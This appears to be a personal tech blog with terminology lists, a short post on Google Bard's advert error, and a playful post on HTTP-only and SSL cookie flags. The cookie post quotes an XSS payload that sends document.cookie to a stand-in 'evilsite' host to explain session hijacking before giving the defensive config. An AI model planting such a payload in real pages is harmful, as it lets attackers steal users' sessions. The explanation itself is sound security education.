Wednesday, February 15, 2023

Useful terminology Jargon and technical terms

Authentication

  • Customer facing application
  • Single Sign On Access (SSO)
  • OIDC provider
  • SAML provider( Security Assertion Markup Language)- System Entity issues SAML assertion
  • SAML - Auth0
  • Identity Provider( IDP)
  • Service Provider (SDP)
  • Social Identity Provider
  • Enterprise Credentials
  • Verification Code- One time passcode (OTP) or (OTC) One time code
  • Open ID connect (OIDC)
  • Standard Identity protocol (OIDC, Auth2.0)



Security 

Handle attacks:

  • Denial of service
  • Password spraying
  • Brute force attack

Wednesday, February 8, 2023

Google AI BARD bot mistake wipes $100bn off shares

AI will replace human but to just certain extend. If human can't be trusted how come AI that is build by Human itself.
 

Google unveiled its new bot called Bard

Google is searching for ways to reassure people that it is still out in front in the race for the best artificial intelligence technology.

And so far, the internet giant seems to be coming up with the wrong answer.

An advert designed to show off its new AI-bot, showed it answering a query incorrectly.

Shares in parent company Alphabet sank more than 7% on Wednesday, knocking $100bn (£82bn) off the firm's market value.


AI at the current state can never take over creativity and problem-solving skills. just like ChatGPT some of the results also incorrect.

[9:43 am] Thanh Nguyen

that's why we should only use it to become more productivity instead of making doing it the job for us 🐱‍🏍

Technical Design terminology

  •  Adaptor
  • Context
  • Handler
  • Interface
  • Abstract
  • Boilerplate- A code snippet that is repeated in application to quick start the application development. With no and minor code change. Like when we start html and body with general page . It is a like a frame. It is not a template where we create a object out of it.
  • Utility
  • Template
  • Resources
  • References
  • Constants
  • Validators
  • Connectors
  • Extensions
  • Providers
  • Builders
  • Processors
  • Factory
  • Helper
  • Service
  • Mock
  • Stub
  • Prototype
  • Entities
  • Domain
  • Model
  • View
  • Presentation
  • Business Layer
  • Infrastructure
  • Attributes
  • Property
  • Partial
  • Enum
  • Exception
  • Request
  • Response
  • Initializer
  • Constructor
  • Events
  • Handler
  • Rules
  • Component
  • Control
  • ToolKit
  • Wizard
  • App
  • Config
  • Filters
  • Library
  • Package
  • Widgets


Platform
Framework
Architecture
Design
Pattern
Practices
Component
Controls



Sunday, February 5, 2023

Why Cookie can turn into Monster?

I'm reading some verse from Bible and I know you all are on right path to god(Secure) not to Demon(Hacker). Please give thumps Up if you read this with your full faith and believe in HTTP Only Secure Cookie - Http +SSL

🫳

Chapter 1 Verse #1

Here’s an example: when you log on to an ASP.NET application using forms authentication, the default implementation will return you a cookie named “.ASPXAUTH”. It looks just like this:

Set-Cookie: .ASPXAUTH=737A8033B7A68EF4C1D3AC5C96353E9767EF677903AD7F796C1BF0D8DDE141EDC98451CF6A67837D29E12A722252BA93C7342D11341BAC2D49031923BA2DFD6ADCB04BDED56A685A7417353F81B04BECFEA4F3522CCBD86C0371A6EB75B6FF74

The contents of this cookie then travel back to the server on every request you make hence identifying you as the person who logged on earlier. The problem with this is that if an attacker can gain access to that cookie, they can steal your session or in other words, set the cookie in their own browser, go to the website and now the website thinks they’re you.

Chapter 2 Verse #2

Here’s an example: let’s imagine you have a website that has a cross site scripting vulnerability (remember, this is still number 2 on the Top 10 web application security risks and is extremely prevalent) and that an attacker can add arbitrary JavaScript to your page so they do this:

location.href = 'http://evilsite/?cookies=' + document.cookie;

What will happen is that the browser will happily redirect the unsuspecting user to the evil site and send all their cookies with the request. Those cookies may hold sensitive information – including authentication information – which the site may then harvest and use to hijack sessions. It really is that easy and whilst that example is rather rudimentary, much more elegant solutions exist which enable those cookies to be siphoned off without the user ever observing any odd behaviour on the website.

God has its own way -- Secure http only Http + SSL

What we need is a way to stop the browser from being able to access cookies on the client side and this is where the HTTP only flag comes in.

httpCookies httpOnlyCookies="true" requireSSL="true"